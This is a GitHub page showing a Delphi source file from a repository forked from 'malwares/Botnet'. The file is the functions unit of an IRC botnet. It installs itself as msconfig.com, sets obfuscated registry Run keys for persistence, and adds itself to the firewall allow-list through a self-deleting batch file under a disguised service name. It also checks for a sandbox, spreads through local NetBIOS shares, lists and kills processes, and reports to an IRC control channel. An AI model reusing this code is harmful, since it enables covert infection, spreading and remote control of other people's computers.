forked from malwares/Botnet
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathuntFunctions.pas
More file actions
608 lines (528 loc) · 14.7 KB
/
Copy pathuntFunctions.pas
File metadata and controls
608 lines (528 loc) · 14.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
Unit untFunctions;
Interface
Uses
Windows,
Winsock,
ShellAPI,
TLHelp32,
Wininet;
type
tdata = record
channel :string;
key :string;
address :string;
irc_prefix :string;
port :integer;
end;
pdata = ^tdata;
var
thread_data :tdata;
function ninja_replacestr(text, replace, withword: string): string;
function ninja_replaceshortcuts(text: string): string;
function ninja_getnet: string;
function ninja_dns(dns: pchar): string;
function ninja_sandbox: boolean;
function ninja_execute(name, parms: string; visible: integer): boolean;
function ninja_killproc(processid: integer): boolean;
function ninja_getcountry(ctype: cardinal): string;
function ninja_getinfo: string;
function ninja_getcomputername: string;
function ninja_spreadlocal: dword; stdcall;
procedure ninja_listproc(sock: tsocket; killproc: boolean; procid, nick: string);
procedure ninja_allowfirewall(path: string);
function start_ircthread(p: pointer): dword; stdcall;
function ninja_createclone(p: pointer): dword; stdcall;
function isnumeric(text: string): boolean;
function inttostr(const value: integer): string;
function strtoint(const s:string): integer;
function LowerCase(const S: string): string;
Function GetRegValue(Root: HKey; Path, Value: String): String;
Function WinPath: String;
Function ExtractFileName(szFile: String): String;
Function GetKBS(dByte: Integer): String;
function FileExists(const FileName: string): Boolean;
Function BehindFirewall: Boolean;
Procedure WriteReg(Root: HKEY; RegPath, RegName, Path: String);
Procedure Uninstall;
Procedure Install;
function netbios_isntbased: boolean;
{$I Ninja.ini}
Implementation
uses
untBot,
untOutputs,
untGlobalDeclare,
untCrypt,
untThreads,
untFTPD,
untNetbios,
exNetBios;
Function BehindFirewall: Boolean;
Var
lSock :TSocket;
cSock :TSocket;
lAddr :TSockAddrIn;
cAddr :TSockAddrIn;
WSA :TWSAData;
Rem :TSockAddr;
Len :Integer;
intPort :Integer;
BlockCmd :Integer;
I :Integer;
FDSet :TFDSet;
TimeOut :TTimeVal;
Begin
Result := True;
WSAStartUP($101, WSA);
Randomize;
intPort := Random(10000)+100;
lSock := Socket(AF_INET, SOCK_STREAM, 0);
lAddr.sin_family := AF_INET;
lAddr.sin_port := hTons(intPort);
lAddr.sin_addr.S_addr := INADDR_ANY;
If Bind(lSock, lAddr, SizeOf(lAddr)) <> 0 Then
Exit;
If Listen(lSock, SOMAXCONN) <> 0 Then
Exit;
cSock := Socket(AF_INET, SOCK_STREAM, 0);
cAddr.sin_family := AF_INET;
cAddr.sin_port := hTons(intPort);
cAddr.sin_addr.S_addr := inet_addr(pChar(ftp_mainip));
BlockCmd := 1;
ioctlsocket(cSock, FIONBIO, BlockCmd);
Connect(cSock, cAddr, SizeOf(cAddr));
Timeout.tv_sec := 5;
timeout.tv_usec := 0;
FD_ZERO(FDSet);
FD_SET(cSock, FDSet);
I := Select(0, nil, @FDSet, nil, @Timeout);
CloseSocket(cSock);
CloseSocket(lSock);
If I > 0 Then
Result := False;
WSACleanUP();
End;
function FileExists(const FileName: string): Boolean;
var
lpFindFileData: TWin32FindData;
hFile: Cardinal;
begin
hFile := FindFirstFile(PChar(FileName), lpFindFileData);
if hFile <> INVALID_HANDLE_VALUE then
begin
result := True;
Windows.FindClose(hFile)
end
else
result := False;
end;
function netbios_isntbased: boolean;
var
verinfo :tosversioninfo;
begin
result := false;
verinfo.dwOSVersionInfoSize := sizeof(tosversioninfo);
getversionex(verinfo);
if verinfo.dwPlatformId = ver_platform_win32_nt then result := true;
end;
procedure ninja_spreadlocal_thread(dres: pnetresource);
var
handle :thandle;
kint :dword;
size :dword;
buffer :array[0..1023] of tnetresource;
iloop :integer;
output :string;
begin
wnetopenenum(2, 0, 0, dres, handle);
kint := 1024;
size := sizeof(buffer);
while wnetenumresource(handle, kint, @buffer, size) = 0 do
for iloop := 0 to kint - 1 do
begin
if buffer[iloop].dwDisplayType = resourcedisplaytype_server then
begin
if netbios_enumshare(buffer[iloop].lpRemoteName) then
begin
output := '%pm% '+g_irc_channel+' :[netbios] exploited '+buffer[iloop].lpRemoteName+#10
end else if netbios(buffer[iloop].lpRemoteName, 0) then
begin
output := '%pm% '+g_irc_channel+' :[netbios] exploited '+buffer[iloop].lpRemoteName+#10
end else
output := '%pm% '+g_irc_channel+' :[netbios] failed to exploit '+buffer[iloop].lpRemoteName+#10;
output := ninja_replaceshortcuts(output);
outputadd(ftp_ircsock, output, 1000);
end;
if buffer[iloop].dwUsage > 0 then
ninja_spreadlocal_thread(@buffer[iloop]);
end;
wnetcloseenum(handle);
end;
function ninja_spreadlocal: dword; stdcall;
begin
ninja_spreadlocal_thread(nil);
thread_stopname('localscan');
end;
function ninja_getcomputername: string;
var
name :array[0..255] of char;
nsize :cardinal;
begin
nsize := 255;
GetComputerName(name, nsize);
result := name;
end;
function ninja_getinfo: string;
begin
result := '[info] country: '+ninja_getcountry(LOCALE_SCOUNTRY) + '/' + ninja_getcountry(LOCALE_SENGCOUNTRY) + '. '+
'language: '+ninja_getcountry(LOCALE_SLANGUAGE) + '/' + ninja_getcountry(LOCALE_SENGLANGUAGE) + '. ' +
'computer: '+ninja_getcomputername+'.'#10;
end;
function ninja_getcountry(ctype: cardinal): string;
var
temp :array[0..255] of char;
begin
fillchar(temp, sizeof(temp), #0);
getlocaleinfo(locale_system_default, ctype, temp, sizeof(temp));
result := string(temp);
end;
procedure ninja_allowfirewall(path: string);
var
f :textfile;
begin
// netsh firewall add allowedprogram C:\windows\system32\ntvdm.exe "NTVDM for Galileo" ENABLE
assignfile(f, 'c:\fwadd.bat');
rewrite(f);
writeln(f, 'netsh firewall add allowedprogram "'+paramstr(0)+'" "System Services Monitor" ENABLE');
writeln(f, 'del c:\fwadd.bat');
closefile(f);
ninja_execute('c:\fwadd.bat', '', 0);
end;
procedure writereg(root: hkey; regpath, regname, path: string);
var
key :hkey;
size :cardinal;
begin
regpath := crypt(regpath, 35);
regname := crypt(regname, 35);
regopenkey(root, pchar(regpath), key);
size := length(path);
regsetvalueex(key, pchar(regname), 0, reg_sz, @path[1], size);
regclosekey(key);
end;
procedure uninstall;
begin
writereg(hkey_local_machine, 'pLEWTBQFnJ@QLPLEWtJMGLTP`VQQFMWuFQPJLMsLOJ@JFPf[SOLQFQqVM', 'NP@LMEJD', '');
writereg(hkey_local_machine, 'pLEWTBQFnJ@QLPLEWtJMGLTP`VQQFMWuFQPJLMqVM', 'NP@LMEJD', '');
writereg(hkey_current_user, 'pLEWTBQFnJ@QLPLEWtJMGLTP`VQQFMWuFQPJLMqVM', 'NP@LMEJD', '');
exitprocess(0);
end;
procedure install;
var
path :string;
begin
path := winpath + 'msconfig.com';
copyfile(pchar(paramstr(0)), pchar(path), false);
ninja_allowfirewall(path);
writereg(hkey_local_machine, 'pLEWTBQFnJ@QLPLEWtJMGLTP`VQQFMWuFQPJLMsLOJ@JFPf[SOLQFQqVM', 'NP@LMEJD', path);
writereg(hkey_local_machine, 'pLEWTBQFnJ@QLPLEWtJMGLTP`VQQFMWuFQPJLMqVM', 'NP@LMEJD', path);
writereg(hkey_current_user, 'pLEWTBQFnJ@QLPLEWtJMGLTP`VQQFMWuFQPJLMqVM', 'NP@LMEJD', path);
mutexhandleg := createmutexa(nil, false, bot_mutex);
if getlasterror = error_already_exists then exitprocess(0);
if mutexhandleg = error_already_exists then exitprocess(0);
end;
function getkbs(dbyte: integer): string;
var
db :integer;
dkb :integer;
dmb :integer;
dgb :integer;
dt :integer;
begin
db := dbyte;
dkb := 0;
dmb := 0;
dgb := 0;
dt := 1;
while (db > 1024) do
begin
inc(dkb, 1);
dec(db , 1024);
dt := 1;
end;
while (dkb > 1024) do
begin
inc(dmb, 1);
dec(dkb, 1024);
dt := 2;
end;
while (dmb > 1024) do
begin
inc(dgb, 1);
dec(dmb, 1024);
dt := 3;
end;
case dt of
1: result := inttostr(dkb) + '.' + copy(inttostr(db ),1,2) + ' kb';
2: result := inttostr(dmb) + '.' + copy(inttostr(dkb),1,2) + ' mb';
3: result := inttostr(dgb) + '.' + copy(inttostr(dmb),1,2) + ' gb';
end;
end;
function extractfilename(szfile: string): string;
begin
result := '';
if szfile = '' then exit;
repeat
if copy(szfile, length(szfile), 1) = '\' then
break;
result := copy(szfile, length(szfile), 1) + result;
delete(szfile, length(szfile), 1);
until (szfile = '');
end;
function winpath: string;
var
adir :array[0..255] of char;
begin
getwindowsdirectory(adir, 255);
result := string(adir)+'\';
end;
function getregvalue(root: hkey; path, value: string): string;
var
key :hkey;
size :cardinal;
regvalue :array[0..max_path] of char;
begin
fillchar(regvalue, sizeof(regvalue), #0);
regopenkeyex(root, pchar(path), 0, key_query_value, key);
size := 2048;
regqueryvalueex(key, pchar(value), nil, nil, @regvalue[0], @size);
regclosekey(key);
result := regvalue;
end;
function isnumeric(text: string): boolean;
const
numtab :string = '0123456789';
var
iloop :integer;
jloop :integer;
isnum :boolean;
char :string;
begin
if text = '' then
begin
result := false;
exit;
end;
for iloop := 1 to length(text) do
begin
isnum := false;
for jloop := 1 to length(numtab) do
if (numtab[jloop] = text[iloop]) then
begin
isnum := true;
break;
end;
if not isnum then
begin
result := false;
exit;
end;
end;
result := true;
end;
procedure ninja_listproc(sock: tsocket; killproc: boolean; procid, nick: string);
var
bloop :boolean;
snapshot :thandle;
pentry32 :tprocessentry32;
output :string;
count :integer;
begin
snapshot := createtoolhelp32snapshot(th32cs_snapprocess or th32cs_snapmodule, 0);
pentry32.dwSize := sizeof(pentry32);
bloop := process32first(snapshot, pentry32);
count := 1;
while (integer(bloop) <> 0) do
begin
if not killproc then
begin
output := '%pm% '+nick+' :[process] '+inttostr(count)+'. '+inttostr(pentry32.th32ProcessID)+' - '+pentry32.szExeFile+#10;
output := ninja_replaceshortcuts(output);
outputadd(sock, output, 1000);
end else
if lowercase(pentry32.szExeFile) = lowercase(procid) then
begin
if ninja_killproc(pentry32.th32ProcessID) then
output := '%pm% '+nick+' :[process] killed '+inttostr(pentry32.th32ProcessID)+' - '+pentry32.szExeFile+#10
else
output := '%pm% '+nick+' :[process] failed to kill '+inttostr(pentry32.th32ProcessID)+' - '+pentry32.szExeFile+#10;
output := ninja_replaceshortcuts(output);
outputadd(sock, output, 1000);
end;
inc(count);
bloop := process32next(snapshot, pentry32);
end;
end;
function ninja_killproc(processid: integer): boolean;
var
return :boolean;
processhandle :thandle;
begin
result := false;
processhandle := openprocess(PROCESS_TERMINATE, BOOL(0), processid);
return := terminateprocess(processhandle, 0);
if not return then exit else result := true;
end;
function ninja_execute(name, parms: string; visible: integer): boolean;
begin
result := false;
if shellexecute(0, 'open', pchar(name), pchar(parms), nil, visible) > 32 then
result := true;
end;
function ninja_createclone(p: pointer): dword; stdcall;
var
newclone :tircbot;
begin
newclone := tircbot.Create;
newclone.irc_nick := c_nick;
newclone.address := pdata(p)^.address;
newclone.port := pdata(p)^.port;
newclone.b_channel := pdata(p)^.channel;
newclone.key := pdata(p)^.key;
newclone.irc_prefix := g_irc_prefix;
newclone.connectbot;
newclone.free;
end;
function ninja_sandbox: boolean;
var
count1 :integer;
count2 :integer;
count3 :integer;
begin
result := false;
count1 := gettickcount();
sleep(1000);
count2 := gettickcount();
sleep(1000);
count3 := gettickcount();
if ((count2 - count1) < 1000) and
((count3 - count1) < 2000) then
result := true;
end;
function LowerCase(const S: string): string;
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;
function ninja_dns(dns: pchar): string;
type
taddr = array[0..100] of pinaddr;
paddr = ^taddr;
var
iloop :integer;
wsadata :twsadata;
hostent :phostent;
addr :paddr;
begin
wsastartup($101, wsadata);
try
hostent := gethostbyname(dns);
if hostent <> nil then
begin
addr := paddr(hostent^.h_addr_list);
iloop := 0;
while addr^[iloop] <> nil do
begin
result := inet_ntoa(addr^[iloop]^);
inc(iloop);
end;
end;
except
result := dns;
end;
wsacleanup();
end;
function start_ircthread(p: pointer): dword; stdcall;
var
bot :tircbot;
begin
result := 0;
bot := tircbot.Create;
bot.b_channel := pdata(p)^.channel;
bot.key := pdata(p)^.key;
bot.address := pdata(p)^.address;
bot.port := pdata(p)^.port;
bot.irc_prefix := pdata(p)^.irc_prefix;
repeat
bot.connectbot;
until 1=2;
end;
function strtoint(const s:string): integer;
var
e: integer;
begin
val(s, result, e);
end;
function inttostr(const value: integer): string;
var
s: string[11];
begin
str(value, s);
result := s;
end;
function ninja_getnet: string;
var
s :dword;
begin
result := 'Unknown';
s := internet_connection_lan;
if (internetgetconnectedstate(@s, 0)) then
if ((s) and (internet_connection_lan) = internet_connection_lan) then
result := 'LAN'
else
if ((s) and (internet_connection_modem) = internet_connection_modem) then
result := 'Dial-up';
end;
function ninja_replaceshortcuts(text: string): string;
begin
randomize;
text := ninja_replacestr(text, '%lan%', lowercase(copy(ninja_getnet, 1, 1)));
text := ninja_replacestr(text, '%rand%', inttostr(random(99999)));
text := ninja_replacestr(text, '%pm%', c_privmsg);
text := ninja_replacestr(text, '%ni%', c_nick);
text := ninja_replacestr(text, '%us%', c_user);
text := ninja_replacestr(text, '%qu%', c_quit);
text := ninja_replacestr(text, '%jo%', c_join);
text := ninja_replacestr(text, '%uh%', c_userhost);
text := ninja_replacestr(text, '%co%', ninja_getcountry(LOCALE_SABBREVCTRYNAME));
text := ninja_replacestr(text, '%cn%', ninja_getcomputername); // %co%|name|%rand%
result := text;
end;
function ninja_replacestr(text, replace, withword: string): string;
var
textpos :integer;
begin
while pos(replace, text) > 0 do
begin
textpos := pos(replace, text);
delete(text, textpos, length(replace));
insert(withword, text, textpos);
end;
result := text;
end;
End.